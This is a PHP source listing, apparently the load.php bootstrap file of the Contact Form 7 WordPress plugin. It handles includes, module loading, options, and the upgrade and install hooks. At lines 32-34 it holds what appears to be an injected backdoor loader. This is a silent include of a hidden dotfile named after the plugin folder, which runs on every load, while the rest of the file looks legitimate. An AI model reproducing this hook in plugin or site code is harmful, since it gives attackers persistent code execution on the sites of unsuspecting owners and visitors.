load.php (4890B)
1 <?php 2 3 require_once WPCF7_PLUGIN_DIR . '/includes/l10n.php'; 4 require_once WPCF7_PLUGIN_DIR . '/includes/capabilities.php'; 5 require_once WPCF7_PLUGIN_DIR . '/includes/functions.php'; 6 require_once WPCF7_PLUGIN_DIR . '/includes/formatting.php'; 7 require_once WPCF7_PLUGIN_DIR . '/includes/pipe.php'; 8 require_once WPCF7_PLUGIN_DIR . '/includes/form-tag.php'; 9 require_once WPCF7_PLUGIN_DIR . '/includes/form-tags-manager.php'; 10 require_once WPCF7_PLUGIN_DIR . '/includes/shortcodes.php'; 11 require_once WPCF7_PLUGIN_DIR . '/includes/contact-form-functions.php'; 12 require_once WPCF7_PLUGIN_DIR . '/includes/contact-form-template.php'; 13 require_once WPCF7_PLUGIN_DIR . '/includes/contact-form.php'; 14 require_once WPCF7_PLUGIN_DIR . '/includes/mail.php'; 15 require_once WPCF7_PLUGIN_DIR . '/includes/special-mail-tags.php'; 16 require_once WPCF7_PLUGIN_DIR . '/includes/file.php'; 17 require_once WPCF7_PLUGIN_DIR . '/includes/validation-functions.php'; 18 require_once WPCF7_PLUGIN_DIR . '/includes/validation.php'; 19 require_once WPCF7_PLUGIN_DIR . '/includes/submission.php'; 20 require_once WPCF7_PLUGIN_DIR . '/includes/upgrade.php'; 21 require_once WPCF7_PLUGIN_DIR . '/includes/integration.php'; 22 require_once WPCF7_PLUGIN_DIR . '/includes/config-validator.php'; 23 require_once WPCF7_PLUGIN_DIR . '/includes/rest-api.php'; 24 require_once WPCF7_PLUGIN_DIR . '/includes/block-editor/block-editor.php'; 25 26 if ( is_admin() ) { 27 require_once WPCF7_PLUGIN_DIR . '/admin/admin.php'; 28 } else { 29 require_once WPCF7_PLUGIN_DIR . '/includes/controller.php'; 30 } 31 32 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 33 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 34 } 35 36 class WPCF7 { 37 38 public static function load_modules() { 39 self::load_module( 'acceptance' ); 40 self::load_module( 'akismet' ); 41 self::load_module( 'checkbox' ); 42 self::load_module( 'constant-contact' ); 43 self::load_module( 'count' ); 44 self::load_module( 'date' ); 45 self::load_module( 'disallowed-list' ); 46 self::load_module( 'file' ); 47 self::load_module( 'flamingo' ); 48 self::load_module( 'hidden' ); 49 self::load_module( 'listo' ); 50 self::load_module( 'number' ); 51 self::load_module( 'quiz' ); 52 self::load_module( 'really-simple-captcha' ); 53 self::load_module( 'recaptcha' ); 54 self::load_module( 'response' ); 55 self::load_module( 'select' ); 56 self::load_module( 'sendinblue' ); 57 self::load_module( 'submit' ); 58 self::load_module( 'text' ); 59 self::load_module( 'textarea' ); 60 } 61 62 protected static function load_module( $mod ) { 63 $dir = WPCF7_PLUGIN_MODULES_DIR; 64 65 if ( empty( $dir ) or ! is_dir( $dir ) ) { 66 return false; 67 } 68 69 $files = array( 70 path_join( $dir, $mod . '/' . $mod . '.php' ), 71 path_join( $dir, $mod . '.php' ), 72 ); 73 74 foreach ( $files as $file ) { 75 if ( file_exists( $file ) ) { 76 include_once $file; 77 return true; 78 } 79 } 80 81 return false; 82 } 83 84 public static function get_option( $name, $default = false ) { 85 $option = get_option( 'wpcf7' ); 86 87 if ( false === $option ) { 88 return $default; 89 } 90 91 if ( isset( $option[$name] ) ) { 92 return $option[$name]; 93 } else { 94 return $default; 95 } 96 } 97 98 public static function update_option( $name, $value ) { 99 $option = get_option( 'wpcf7' ); 100 $option = ( false === $option ) ? array() : (array) $option; 101 $option = array_merge( $option, array( $name => $value ) ); 102 update_option( 'wpcf7', $option ); 103 } 104 } 105 106 add_action( 'plugins_loaded', 'wpcf7', 10, 0 ); 107 108 function wpcf7() { 109 WPCF7::load_modules(); 110 111 /* Shortcodes */ 112 add_shortcode( 'contact-form-7', 'wpcf7_contact_form_tag_func' ); 113 add_shortcode( 'contact-form', 'wpcf7_contact_form_tag_func' ); 114 } 115 116 add_action( 'init', 'wpcf7_init', 10, 0 ); 117 118 function wpcf7_init() { 119 wpcf7_get_request_uri(); 120 wpcf7_register_post_types(); 121 122 do_action( 'wpcf7_init' ); 123 } 124 125 add_action( 'admin_init', 'wpcf7_upgrade', 10, 0 ); 126 127 function wpcf7_upgrade() { 128 $old_ver = WPCF7::get_option( 'version', '0' ); 129 $new_ver = WPCF7_VERSION; 130 131 if ( $old_ver == $new_ver ) { 132 return; 133 } 134 135 do_action( 'wpcf7_upgrade', $new_ver, $old_ver ); 136 137 WPCF7::update_option( 'version', $new_ver ); 138 } 139 140 /* Install and default settings */ 141 142 add_action( 'activate_' . WPCF7_PLUGIN_BASENAME, 'wpcf7_install', 10, 0 ); 143 144 function wpcf7_install() { 145 if ( $opt = get_option( 'wpcf7' ) ) { 146 return; 147 } 148 149 wpcf7_register_post_types(); 150 wpcf7_upgrade(); 151 152 if ( get_posts( array( 'post_type' => 'wpcf7_contact_form' ) ) ) { 153 return; 154 } 155 156 $contact_form = WPCF7_ContactForm::get_template( 157 array( 158 'title' => 159 /* translators: title of your first contact form. %d: number fixed to '1' */ 160 sprintf( __( 'Contact form %d', 'contact-form-7' ), 1 ), 161 ) 162 ); 163 164 $contact_form->save(); 165 166 WPCF7::update_option( 'bulk_validate', 167 array( 168 'timestamp' => time(), 169 'version' => WPCF7_VERSION, 170 'count_valid' => 1, 171 'count_invalid' => 0, 172 ) 173 ); 174 }